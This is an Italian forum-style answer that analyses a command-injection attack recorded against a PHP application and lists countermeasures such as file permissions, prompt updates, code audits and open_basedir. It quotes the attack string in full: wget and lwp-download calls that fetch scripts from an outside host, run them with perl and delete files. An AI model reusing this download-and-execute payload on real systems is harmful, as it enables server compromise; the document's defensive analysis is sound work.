Come trovare e proteggere contro la vulnerabilità sfruttata in un'applicazione PHP basata sull'URL registrato?

Anche se le impostazioni suggerite sono buone a meno che la funzionalità disabilitata sia effettivamente necessaria, probabilmente non avrebbero impedito questo tipo di attacco:

Vettore di attacco

http://some.thesome.com/etc/byz.jpg? -O /tmp/cmd548;
cd /tmp;
lwp-download http://some.thesome.com/etc/cup.txt
perl cup.txt
rm -rf .txt
wget http ://some.thesome.com/etc/update.txt;
perl update.txt;
rm -rf .txt
');
echo \"#j13mb0t\";
?>"

Vulnerabilità

C'è un codice PHP che scrive un altro file PHP, molto probabilmente un modo per cambiare una configurazione usando l'interfaccia web. La configurazione è memorizzata come codice PHP.

Il meccanismo scrive qualcosa di simile a

shell_exec('wget '.$untrustedUserInput.' something else');

$untrustedUserInput è la stringa che ho riportato sopra con interruzioni di riga appropriate per una lettura più semplice.

Dato l'URL di attacco nell'intestazione Refer , è possibile che la motivazione per il codice non sia un meccanismo di configurazione ma per creare un archivio di pagine da cui le persone sono collegate al tuo sito web.

Risultato

Quindi il risultato è simile a

shell_exec('wget http://some.thesome.com/etc/byz.jpg? -O /tmp/cmd548;
cd /tmp;
lwp-download http://some.thesome.com/etc/cup.txt
perl cup.txt
rm -rf .txt
wget http ://some.thesome.com/etc/update.txt;
perl update.txt;
rm -rf .txt
');
echo \"#j13mb0t\";
?>
".' something else');

Nota ?> per impedire che "qualcos'altro" venga visto come codice PHP.

Contromisure

Se possibile, imposta le autorizzazioni del file system per non consentire al server web di scrivere file in qualsiasi directory da cui eseguono i file PHP. Potrebbe essere necessario fornire temporaneamente autorizzazioni di scrittura per le modifiche alla configurazione su file specifici, ma dovrebbe rimuoverlo dopo le modifiche. Prestare particolare attenzione a mettere le cartelle di caricamento all'esterno della web root.

Assicurati di installare aggiornamenti di sicurezza di software di terze parti, come PhpMyAdmin, Wordpress compresi i plug-in molto rapidamente dopo il rilascio. Iscriviti alle mailing list in cui sono annunciati tali aggiornamenti.

Fai eseguire un controllo sul tuo codice. Se ciò non è possibile perché è troppo costoso, per lo meno scopri i problemi di sicurezza comuni nel codice PHP. I OWASP PHP Top 5 sono un buon punto di partenza.

La cosa migliore che puoi fare è correggere lo script PHP, in modo che LFI non sia più possibile. Puoi modificare le impostazioni per rendere più difficile lo sfruttamento, ma dovresti risolvere il problema alla radice: lo script che utilizza il parametro 'p' per includere i file.

Inoltre, è possibile impostare allow_url_include e allow_url_fopen. Ti consigliamo di impostare anche open_basedir (controlla link ).